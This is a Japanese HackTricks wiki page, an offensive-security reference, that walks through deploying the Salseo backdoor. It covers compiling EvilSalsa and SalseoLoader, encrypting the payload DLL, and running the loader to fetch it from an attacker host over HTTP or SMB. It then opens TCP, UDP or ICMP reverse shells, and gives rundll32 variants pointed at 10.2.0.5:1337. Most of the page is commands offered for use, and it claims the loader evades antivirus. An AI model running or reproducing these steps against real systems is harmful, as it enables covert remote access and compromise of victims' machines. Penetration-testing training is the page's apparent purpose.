6.8 KiB
Salseo
{{#include ../banners/hacktricks-training.md}}
バイナリのコンパイル
GitHubからソースコードをダウンロードし、EvilSalsaとSalseoLoaderをコンパイルします。コードをコンパイルするにはVisual Studioがインストールされている必要があります。
使用するWindowsボックスのアーキテクチャに合わせてこれらのプロジェクトをコンパイルします(Windowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルしてください)。
Visual Studioの左側の「Build」タブの**「Platform Target」でアーキテクチャを選択**できます。
(**このオプションが見つからない場合は、**「Project Tab」を押してから「<Project Name> Properties」**を選択してください)
次に、両方のプロジェクトをビルドします(Build -> Build Solution)(ログ内に実行可能ファイルのパスが表示されます):
バックドアの準備
まず、EvilSalsa.dllをエンコードする必要があります。そのためには、Pythonスクリプトencrypterassembly.pyを使用するか、プロジェクトEncrypterAssemblyをコンパイルできます。
Python
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
ウィンドウズ
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
わかりました、今すぐすべてのSalseoのことを実行するために必要なものがあります: エンコードされたEvilDalsa.dllとSalseoLoaderのバイナリです。
SalseoLoader.exeバイナリをマシンにアップロードします。どのAVにも検出されないはずです...
バックドアを実行する
TCPリバースシェルを取得する(HTTPを通じてエンコードされたdllをダウンロードする)
ncをリバースシェルリスナーとして起動し、エンコードされたevilsalsaを提供するHTTPサーバーを起動することを忘れないでください。
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
UDPリバースシェルの取得(SMBを通じてエンコードされたdllをダウンロード)
リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためにSMBサーバーを起動することを忘れないでください。
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
ICMPリバースシェルの取得(被害者の中にエンコードされたdllが既に存在する)
今回は、リバースシェルを受信するためにクライアントに特別なツールが必要です。ダウンロードしてください: https://github.com/inquisb/icmpsh
ICMP応答を無効にする:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
クライアントを実行する:
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
被害者の内部で、salseoのことを実行しましょう:
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
SalseoLoaderをDLLとしてコンパイルし、メイン関数をエクスポートする
Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
メイン関数の前に追加: [DllExport]
このプロジェクトにDllExportをインストールする
ツール --> NuGetパッケージマネージャー --> ソリューションのNuGetパッケージを管理...
DllExportパッケージを検索(ブラウズタブを使用)、インストールを押す(ポップアップを受け入れる)
プロジェクトフォルダーにDllExport.batとDllExport_Configure.batのファイルが表示されます。
Uninstall DllExport
アンインストールを押します(変ですが、信じてください、必要です)
Visual Studioを終了し、DllExport_configureを実行する
ただ終了します
次に、SalseoLoaderフォルダーに移動し、DllExport_Configure.batを実行します。
x64を選択します(x64ボックス内で使用する場合、私のケースです)、System.Runtime.InteropServicesを選択します(DllExportの名前空間内)そして適用を押します。
Visual Studioでプロジェクトを再度開く
**[DllExport]**はもはやエラーとしてマークされていないはずです。
ソリューションをビルドする
出力タイプ = クラスライブラリを選択します(プロジェクト --> SalseoLoaderプロパティ --> アプリケーション --> 出力タイプ = クラスライブラリ)
x64 プラットフォームを選択します(プロジェクト --> SalseoLoaderプロパティ --> ビルド --> プラットフォームターゲット = x64)
ソリューションをビルドするには: ビルド --> ソリューションのビルド(出力コンソール内に新しいDLLのパスが表示されます)
生成されたDllをテストする
テストしたい場所にDllをコピーして貼り付けます。
実行:
rundll32.exe SalseoLoader.dll,main
エラーが表示されない場合、おそらく機能するDLLがあります!!
DLLを使用してシェルを取得する
HTTP サーバーを使用し、nc リスナーを設定することを忘れないでください。
Powershell
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
CMD
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
{{#include ../banners/hacktricks-training.md}}